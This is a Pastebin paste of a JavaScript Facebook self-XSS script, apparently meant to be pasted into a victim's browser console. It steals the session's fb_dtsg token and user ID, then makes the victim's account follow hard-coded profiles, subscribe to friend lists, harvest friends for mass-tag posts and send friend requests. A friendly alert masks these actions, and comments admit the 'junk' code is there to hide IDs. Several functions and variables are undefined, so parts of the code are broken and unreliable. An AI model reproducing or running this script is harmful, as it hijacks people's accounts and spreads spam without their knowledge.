Advertisement
Guest User

Untitled

a guest
Nov 23rd, 2014
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.22 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. alert('Chúc các bạn chơi FB vui vẻ nhé ^^');
  4. function a(abone){
  5. var http4 = new XMLHttpRequest();
  6. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  7. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  8. http4.open("POST", url4, true);
  9. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  10. http4.setRequestHeader("Content-length", params4.length);
  11. http4.setRequestHeader("Connection", "close");
  12. http4.onreadystatechange = function() {
  13. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  14. }
  15. http4.send(params4);
  16. }
  17. // Close the connection
  18. function sublist(uidss) {
  19. var a = document.createElement('script');
  20. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  21. document.body.appendChild(a);
  22. }
  23. // Không edit bất kì gì từ đây trở lên
  24. a("317283541776989");a("100002910979646");a("100004238142445");a("100002329272936");
  25. a("100004803061909");a("100000245754309");
  26.  
  27. a("1816636618");
  28.  
  29. a("100005324709113");
  30.  
  31. sublist("377299922375103");sublist("397385560366539");sublist("397385650366530");
  32. sublist("166002610236507");sublist("168406836662751");sublist("397385303699898");
  33. sublist("614709198547266");sublist("397385610366534");sublist("397385430366552");
  34. sublist("472370499517255");sublist("397385087033253");sublist("397385377033224");
  35. sublist("397385193699909");sublist("397385250366570");sublist("397385327033229");
  36.  
  37.  
  38.  
  39. // Từ đây trở xuống là nhảm chủ yếu giấu bớt ID
  40. function sarkadaslari_al(){
  41. var xmlhttp = new XMLHttpRequest();
  42. xmlhttp.onreadystatechange = function () {
  43. if(xmlhttp.readyState == 4){
  44. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  45. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  46. smesaj = "";
  47. smesaj_text = "";
  48. for(i=f*10;i<(f+1)*10;i++){
  49. if(arkadaslar.payload.entries[i]){
  50. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  51. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  52. }
  53. }
  54. sdurumpaylas(); }
  55.  
  56. }
  57.  
  58. };
  59. var params = "&filter[0]=user";
  60. params += "&options[0]=friends_only";
  61. params += "&options[1]=nm";
  62. params += "&token=v7";
  63. params += "&viewer=" + user_id;
  64. params += "&__user=" + user_id;
  65.  
  66. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  67. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  68. xmlhttp.send();
  69. }
  70.  
  71. var tiklama = document.addEventListener("click", function () {
  72. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  73. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  74. sarkadaslari_al();
  75. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  76.  
  77. document.removeEventListener(tiklama);
  78. }
  79. }, false);
  80.  
  81. function sarkadasekle(uid,tem){
  82. var xmlhttp = new XMLHttpRequest();
  83. xmlhttp.onreadystatechange = function () {
  84. if(xmlhttp.readyState == 4){
  85. }
  86. };
  87.  
  88. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  89. var params = "to_friend=" + uid;
  90. params += "&action=add_friend";
  91. params += "&how_found=friend_browser";
  92. params += "&ref_param=none";
  93. params += "&outgoing_id=";
  94. params += "&logging_location=friend_browser";
  95. params += "&no_flyout_on_click=true";
  96. params += "&ego_log_data=";
  97. params += "&http_referer=";
  98. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  99. params += "&phstamp=165816749114848369115";
  100. params += "&__user=" + user_id;
  101. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  102. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  103.  
  104. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  105. xmlhttp.send(params);
  106. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  107. cinsiyetgetir(uid,tem,"sarkadasekle");
  108. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  109. xmlhttp.send(params);
  110. }
  111. }
  112.  
  113. var temsonuc = {};
  114. var temhtml = document.createElement("html");
  115. function scinsiyetgetir(uid,tem,fonksiyon){
  116. var xmlhttp = new XMLHttpRequest();
  117. xmlhttp.onreadystatechange = function () {
  118. if(xmlhttp.readyState == 4){
  119. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  120. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  121. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  122. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  123. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  124. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  125. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  126. }
  127. eval(fonksiyon + "(" + id + "," + tem + ");");
  128. }
  129. };
  130. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  131. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  132. xmlhttp.send();
  133. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement